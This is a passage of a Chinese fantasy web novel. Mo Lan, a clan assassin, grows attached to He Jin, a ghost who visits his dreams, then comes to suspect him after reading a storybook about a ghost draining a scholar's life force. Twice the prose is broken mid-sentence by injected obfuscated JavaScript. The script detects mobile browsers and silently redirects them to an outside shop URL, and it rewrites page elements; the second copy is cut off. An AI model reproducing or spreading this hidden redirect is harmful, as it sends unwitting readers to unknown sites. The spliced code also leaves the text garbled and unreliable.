墨岚将破妄放到脑后,努力调整角度,确保自己能够看到后颈那块小小的皮肤。 ……好红。 墨岚手腕一颤,竟是没拿稳,那奇珍法镜便这样沿着床沿滚落在地,摔得四分五裂,好大一声脆响。 门外守候的墨方被惊动,墨岚慌乱地没来得及管那镜子,只将衣襟扯上来,堪堪遮盖住那让人脸红心跳的吻痕。 墨方快步走进房中,看见了满地狼藉,避开碎片站到床边小心翼翼道:“少主,您没事吧?” 墨岚将脸埋在枕头上,带着伤的后背朝上,衣襟勉强挡住刺目红痕,未能引起墨方注意。 他的声音沉闷,带着浓重的鼻音,语气急促,有些恼羞成怒的意味:“我没事,你出去吧。” 他的情绪很少失控,墨方被惊得瑟缩,不敢直视他的双眼。 墨岚也觉得自己失态:“……好了,去备早膳,我要起了。” 墨方领命下去了,墨岚在房门关上后挥手将地上的碎片收回灵囊,从柜中取了跌打损伤的药膏,用纱布包着手指,蘸着药膏在吻痕上轻轻按揉。 眼见淤红短时间内消散不掉,墨岚只好放弃,为了不惹人注意,干脆在旁边拧了几道新的,后颈红成一片。 若是有人问起,他便答是染了疹子。墨岚暗暗想。 回过神来又红着脸暗骂自己愚蠢,哪有疹子只红不起泡。 都怪何烬。 他在这里骂人,何烬会听见吗? 先前那些窥伺目估计全都来自何烬,按理来说何烬应该能在此间现身,却偏要留在梦境。 墨岚咬着腮腹诽他虚伪,又懊恼自己轻率,几句话便被蛊惑。 何烬的那句“跟着你”,像是将牵引绳亲手递到墨岚手上,又被墨岚亲手接过来。 就这样成为彼此的牵绊。 这是一种很奇妙的感觉,是墨岚前十七年从未有过的复杂心境,他自认性格不好,很少有人能与他建立这样稍稍亲密一些的关系。 何烬是第一个。 墨岚朦胧间能感觉到自己并不排斥何烬,甚至与何烬待在一起时会感到安宁。 但他面对的分明是一只久不消散的厉鬼。 墨岚后知后觉自己很奇怪,可他不愿深思,何烬给他的一切都是这样奇怪,他除了接受别无他法。 似乎还是被他牵着鼻子走。 墨岚暗自咬牙,再次唾骂何烬不知羞耻。 …… 与他交手那人刀上有毒,因此墨岚背上的伤好得极慢。 医仙来换药时眉头总是拧紧,伤口周遭的皮肉泛着黑沉阴气,药粉撒上去时会滋滋作响。 “少主,此伤余毒难清,需要静养,切忌再动干戈,否则寒气侵入经脉,恐伤根基。 ” 墨岚趴在榻上“嗯”了一声,声音听不出情绪。 但静养是奢望,自他带回那几具叛徒尸首,天机城愈发暗流汹涌。 墨端铁腕镇压,清扫得又快又狠,今日是旁支长老“练功走火”暴毙,明日又是内门弟子“误入禁地”失踪。 血腥裹着寒意,沉甸甸压在每一个知情者心头。 而墨岚,是墨端手中专门伸向外城的那把最锋利,也最显眼的刀。 新的杀人任务接踵而至,画像上的脸越来越熟悉,甚至开始出现墨岚频繁在本家宴席上看到的面孔。 墨岚只得拖着病体穿梭在外城,刀剑上饮饱了血。 何烬照常出现在他的梦境中,那条载着亡灵的长河,还有岸边馥郁葱茏的兰花草,成了墨岚在血海腥风中为数不多的慰藉。 连带着对何烬的态度也好起来。 何烬喜欢抱着他,偶尔会用唇贴着他的皮肤,墨岚不许他碰脖子以上和腰腹以下的地方。 何烬还算听话,若是不提那些越界或是沉重的话题,在墨岚眼中他与一个擅于陪伴的友人无甚区别。 墨岚受用于他的甜言蜜语,也允许自己在这片温柔乡中沉醉片刻,溺死在何烬柔情似水的眼眸中。 禅州入了冬,大雪几乎不会停。 墨岚归家的时辰越来越晚,身上煞气越来越重,偶有步履匆匆的仆役在廊上与他擦肩,墨岚总是能察觉到他们古怪的目光。 或明或暗,掺杂恐惧与鄙夷,以及意思不易察觉的兔死狐悲。 人们畏家主雷霆手段,更畏他这把执行命令,毫无感情的刀。 于是“阎王信使”的称号不知何时开始在整个天机城悄然流传,人言总是压不住的。 “瞧见没,一身血气。” “小声些……别惹祸上身。” “毕竟是那种血脉,杀起人来是真的不眨眼,我们……” “离远些吧,免得沾晦气。” 话语不尖锐,像迟钝的冰锥,密密匝匝刺进墨岚胸膛。 他曾经一直认为自己的内心很强大,强大到不可能为这些流言动容。 墨岚无力辩解,无心辩解,也没什么可以辩解的。 只在午夜梦回中一次又一次跌入梦魇,看着那些死在他手上的人,面容扭曲地哀嚎,朝他伸手,像是要将他拖入无间地狱。 每当这时,惑心兰的馨香便会在他身边悄然弥漫,霸道地覆盖掉那些血腥气,将墨岚带到只属于他与何烬的那片净土。 “别怕。”何烬会从后面拥住他,在他手上放一枝柔软的兰花。 他从不问墨岚杀了谁,为何受伤,只用手指轻抚过他的伤痕,然后在上面烙下吻。 久而久之,墨岚不再害怕入睡,何烬给了他一种前所未有的安全感,让他可以放心将后背交出去。 …… “他们好怕我。”墨岚今日杀了很多人,有叛贼,也有进犯的魔种。 杀到最后竟有一些魔主动缴械,只求保命。 可惜墨岚接到的命令是清缴,只得顶着那些哀求的目光,将手中长剑刺进他们脖颈,热气溅了满身。 何烬拨弄着他沾着花汁的指尖,摩挲着他光滑圆润的指甲盖,语气没什么波澜:“畏你三分,便可占先机,无人能伤你。” “那你呢?”墨岚鬼使神差问出这一句:“断月抵住心脏时,你一点都没有害怕么?” 问完他便后悔了,多日相处,何烬很明显不喜欢他提这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119790|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经翻篇的事,就像他从未多嘴问过何烬被断月所伤,为何没有魂飞魄散。 何烬却低低笑了:“死过一次,生死也就淡了……有何可怕?” 墨岚心头一涩,盯着他苍白的脸:“但万一真的魂飞魄散呢?” 何烬不愿多说,捏着他手上那条道侣结,回望他:“不会的。” 这是个有些敷衍的回答,却无端让墨岚一颗悬着的心落地。 他有些偏执地将这个当成了承诺:“你陪着我。” “……你不会离开我吧,何烬。” 墨岚很少对何烬直呼其名,除了那些对过界亲密的呵斥,便是这一句了。以至于何烬沉默几瞬才反应过来他在叫自己。 墨岚执拗地看着他,手指都捏紧,像是一只得不到施舍就不会离开的顽固小兽。 他也很荒谬,竟然想让一只执念深重的恶鬼来填补那些孤独。 何烬喉间滚动,他叹了口气,以面对面的姿势把脸迈进墨岚肩窝。 “我不会离开你。” - 飞雪几乎将整个禅州掩埋。 临近年关,许是某种不可言说的默契,那些将起的未起的风波都不约而同地偃旗息鼓,毕竟年宴上还要虚与委蛇,早早撕破脸实在不太体面。 墨岚总算得了闲,闭关半月把自己身上的伤养了个半好。 停滞许久的修行也被他捡起来,结果却不尽人意。 墨岚原本修行的功法讲究清心静气,但杀了这么久的人,墨岚几乎要忘了“清心静气”是什么感受。 他进入了瓶颈,且不是那种旁人点拨便能参破的瓶颈,只能在修行中自行领悟突破,长则几日,多则几年还要更多。 墨岚心里有些没底,但眼下整个墨家上下都在忙碌,平时教导课业的长老在他锻体之后也已经给不了什么实用的建议。 墨岚不打算去找墨端,能自己解决的,他想自己解决。 修炼多年,墨岚还是第一次遇到这样没有头绪的瓶颈,整个人随着灵台阻塞也跟着烦躁。 正是傍晚,墨岚用晚膳时盯着房中书架看,决定一会去一趟天机阁,找找有没有解惑的心法秘笈。 …… 墨家总算想起来还有这么一个藏书阁,派人来将这里好好打扫了一遍,顺便采购了一些新书填柜,将那些朽旧得不成样的册子清扫出去。 霉味也被淡淡的熏香替代。 墨岚出着神,随着记忆走到存放功法典籍的书架前面,随意抽了一本,原地坐下看书。 这是一本大能的游记,开篇寥寥几笔写了凡人生平,翻到第二页便是此大能修行感悟。 他视线扫过一行行关于“静心凝神”、“涤荡煞气”的古奥论述,却一个字也没看进去。 灵台处那股滞涩感依然盘踞不去,像一团搅不散的浓雾。 何烬数夜埋在他颈间的那句低语,总在不经意间窜入脑海,搅得他心烦意乱。 那恶鬼自从见到他缺乏安全感的一面后,就像是发现了什么诀窍,动辄便是“永远陪着你”的甜言蜜语,偏偏墨岚爱听,每一夜都过得脸红心跳…… 墨岚猛地摇头,试图将这些不合时宜的思想从自己脑中甩出去。 他默念着清心平妄的心诀,试图强迫自己静下来。 可越是念,何烬那双深不见底,却总映着自己影子的眼眸就越清晰。还有他说话时,那总是带着些许凉意、却又莫名让人觉得笃定的语气。 墨岚烦躁地合上这本狗屁不通的述记,揉了揉眉心。 18. 不得善终 墨岚扔了游记,又去寻了一本瞧着像是心法的册子,书脊没有署名。 翻开扉页,两个笔触有些粗糙的大字映入眼帘,《断山》。 墨岚眉头拧紧,修仙和山有何关系? 第一页依旧是一人生平,墨岚一目十行,心想这些大能真是古怪,偏爱为自己立传著书。 只是其中的几个与黄泉鬼道相关的字眼倒让墨岚起了兴致,他一目十行地向后看,密密麻麻的一页生平之后,竟然还有。 此人实在是活得有些久。墨岚下了结论,好在不算枯燥,也能看进去。 不知不觉间,原本的目标模糊了,墨岚完全沉浸在这本格外冗长的“心法”中,就这样窝在藏书阁狭窄的角落中,坐了一个下午。 直到阁外传来校场上弟子下学的三声钟鸣,墨岚才猛然回过神。 手中的“心法”已然翻到了底,他的视线定格在那最后一句话上。 “欲知后事,且待贰卷。” 墨岚深吸一口气,有一种被戏耍的恼怒感。 这竟然是一本话本! 也不知哪个弟子粗手,竟是将坊间话本当成修真心法采买进城,摆在了这藏书阁中。 墨岚摩挲着书页边缘,指尖烧起一丛火焰,将这本闲书烧了个一干二净,销毁罪证一般。 恼自己愚钝,被话本戏耍,捧着在藏书阁中虚度半日光阴。 眼下恼恨也没用了,墨岚有些可耻地回想起那话本中一波三折的情节,不自觉沉浸在属于虚假人物的悲欢爱恨中。 这是他从前万万不敢做的荒唐事,毕竟墨端不止一次在他耳边重复,他的一切都属于墨家,包括时间。 墨岚带着负罪感,轻手轻脚地离开藏书阁,眼见修为瓶颈无半寸精进,钻了牛角尖,连晚膳都用不下。 直到夜间,他仍旧半愧疚半回味地咬着指甲,一面趴在床上让医仙的药童为他熏药驱寒,一面在脑中胡思乱想。 外头的世界真如话本所言般精彩绝伦吗?墨岚第一次知道人间有分明的四季,有除了苍白之外的春色。 于是早就习以为常的日子,便显得乏味了。 一连颓废了好几天,墨岚甚至都不敢对何烬吐露心事。 终是在第三日早晨,他没抵住诱惑,趁着心热,取了家主赐的令牌,赶早出了墨家,来到内城中声名远扬的一间书铺。 书铺很大很大,一层是茶坊,台上有说书先生在讲故事。 这本就是天机城凡人为数不多的取乐方式,自然热闹非凡,二层则是比之墨家大上三四倍的藏书阁,甚至还有单独的书室供人落脚,不可谓不体贴。 那藏书更是,上到经书典论,下到幼儿启蒙,涵盖古今不说,码放还齐整,瞧着赏心悦目。 墨岚今日套了带兜帽的外袍,遮掩面容的术法让他没有引起别人的注意,如旁人一般交了钱拿了牌子,便被请到二楼书室坐下,自有小厮送书过来。 “敢问公子喜看什么书?好为您取用。”小厮揣着手弯下腰。 墨岚憋了好一会才憋出来“话本”两个字。 若是何烬在这,怕是顷刻便要搂着他的脖子凑在肩窝里调笑他好听话,被那墨家养得连看话本都会觉得丢人。 小厮诶了一声,转而问道:“公子要看哪种话本?是英雄列传,王朝兴衰,亦或风月情爱?” 墨岚低着头,手指无意识地绞着衣角:“……各来一本。” 小厮领着他的牌子去了,没一会抱了一摞书过来。 墨岚松了口气,随手拿起来翻看。 英雄列传…… 墨岚见第一话便是满页的硬汉描写加之粗鄙字词,蹙着眉合上。 王朝兴衰…… 他粗粗翻了半本,多是家庭伦理与一些看不懂的权术阴谋,没一会便犯了困,甩甩脑袋扔下了书。 最后一本,从那花红柳绿的封皮便能瞧出来写的是些什么,墨岚还未翻开便一阵头皮发麻,心里有些后悔,还不如回天机阁寻昨日那瞧不见踪影的“贰卷”。 翻开时脸色稍霁,词藻不华丽甚至很朴实,偏桥段吸引人,讲的竟是…… 穷书生,与艳、艳鬼? 墨岚瞳孔微缩,呼吸不自觉屏住。 第一句便是风雨夜,荒山破庙。 赴京赶考的穷书生吃尽了最后一点干粮,抱着干瘪的肚子和一筐文书,躲进弃置多年的破庙。 书生生了火烤干衣服和书,又冷又饿,裹着席子半昏睡与惨败神像之下。哪知夜间漏风,唯一的那团火也被吹灭了。 书生弥留之际竟是梦到了一个自称山娘的艳美女子,一个点指便驱散了他满身饥寒,书生自然欢喜,山娘却恳求他带着自己进京,好分一分天子脚下旺盛的香火,否则便要就此消散了。 美人垂泪,书生的三分警戒也化作了七分怜爱,翌日苏醒果然不再感到饿,随即便整理行装,加快了进京的步伐…… 墨岚全神贯注地看着,看着书生进京高中进士,领了个七品小官职,信守承诺地前去京中最大的寺庙上香,成全了山娘夙愿。 那神仙娘子却不肯罢休,夜夜现身书生梦境,偏说自己是他前世的恋人,今生好不容易才找到他,要与他喜结连理。又说观书生命格大富大贵绝非俗人,只命中有一劫难解,唯有自己妙手回春。 那书生涉世未深,便这样被哄骗着交出真心,娶了那“神仙”。 以至于后来重重坎坷错落。书生日日去借大寺的香火助山娘修行,几年后他鬼迷心窍,贪了赈灾银子被抄家,向妻子求救时却被毫不犹豫地舍弃。 临死前一夜,山娘终是现身,她在狱中吸干书生的精气,舍弃多年“夫妻情分”,成全了自己的道行。 墨岚合上书,他情绪被那质朴的笔触牵动,胸膛不自觉地起伏,既叹书生可怜又可恨,还叹那山鬼机关算尽,真真毫不留情。 这一感慨,竟是红了眼眶,满脑子都是书中寥寥几笔概括的甜蜜。 花前月下,互诉衷肠,深情原是可以演出来的,果然非我族类其心必异。 这样想着,墨岚陡然一惊。 人与鬼,人与鬼……他与何烬,可不就是一人一鬼么? 墨岚全身都起了鸡皮疙瘩,竟就这样连上了。 山鬼纠缠书生,是为吸人精气修炼成人,那何烬缠着他呢? 莫不是……也要吸他的精气? 墨岚手指都瘫软了,那些亲密无间的吻顷刻变了味,何烬深情缱绻的话语也变得不怀好意。 书生纵容山鬼是因为爱,那…… 他不敢再想,扔了那话本便夺门而逃。 外头已是傍晚了,夜空上撒下棉絮般厚重的白雪,街道湿滑,墨岚踩着雪奔逃着,试图让冰冷的寒风为脸颊降降温。 胸膛却矛盾地又痛又热,像揣着一团早已打成死结根本理不清的烧红铁丝,生生要将那块皮肤灼烫烧熟。 - 墨岚生平少做出格之事,沉迷话本便算一样。 每看一本,便如耗子偷了油般珍重,念着那些桥段,足够几日回味。 他尤其偏爱那些大爱大恨,不得善终的人鬼恋情,自虐般地看,看到气了恼了,便在梦中与何烬闹别扭。 何烬由着他闹,显然也乐在其中,恨不得他日日往自己脸上抽一巴掌才好。 倒不是爱看“不得善终”,而是遍寻书店,找不到一本善终的。 就这样荒废了半月修行,终于是到了腊月。 漂泊在外的墨家子孙都回了本家,整个天机城都热闹了许多,墨岚也理所当然地忙碌起来。 墨端俨然将他当成了巩固势力的资本,逼着他日日露面同旁人攀谈。 墨岚烦得要死,话本与何烬便成了慰藉。 许是将何烬看习惯了,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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墨岚说不清自己是为什么哭,说不清自己的胸腔为何波涛汹涌。 他说不清那是为了话本上的爱情桥段,还是因为眼前这只鬼。 也只能装痴傻。 “……何烬,你是不是吸了我的精气。” 墨岚的声音很闷,他仰着头看何烬,鼻头上的细小绒毛都能尽收眼底。 “书上说恶鬼吸了精气,便化作人形了。” “胡说的。”何烬捏着他的耳垂:“你亲都不让我亲。” 话中带了埋怨的语气,听得墨岚恼火。 他锁骨上还留着何烬前夜留下的咬痕,几乎见了血,偏是在这样尴尬的位置,药都不好上。 他面无表情地伸手掐了一把何烬的手臂:“把窗关了。” 何烬笑了,见他转回去看书,屁颠屁颠绕到后面把半开的窗户关上,又走到墨岚后面,瞧他看的是什么话本。 见墨岚气恼,没等他开口问询,自个儿先抖了个干净。 “鬼亦能修行,从前在外城见多了鬼道功法,死了便自己瞎琢磨,没害过人,好在你梦中那片山谷阴气充裕,没多久便让我聚了魂。” 何烬弯下腰用侧脸贴着墨岚的侧脸,蹭蹭道:“这不是真身,这具身体不过是我盛放魂魄的容器。” 墨岚总算肻搭理他,放下手中的话本,用手掌推开何烬的脸:“……什么容器,这么逼真,你别是夺舍了。” “哪里逼真了。”何烬佯装惊讶,抓着他的手往自己胸膛探:“心跳都没有呢,阿岚莫要污蔑我。” 墨岚用力抽回手:“动手动脚作甚?!” 何烬笑得眉眼弯弯:“何况夺谁的舍能生张同我一样的脸?” 他这样说着,便是将墨岚的目光往自己面上引。 墨岚假装不经意间扫了好几眼,却是与梦中与他耳鬓厮磨的那张面孔别无二致。 “我管你。”他嘴硬,青天白日的一只鬼在自己背后出现,他懒得与何烬算账。 何烬见他真的不理,遗憾道:“好吧。” “你在看什么话本呢?” 墨岚还没反应过来,何烬便一把将那趴在桌上的话本捞去了。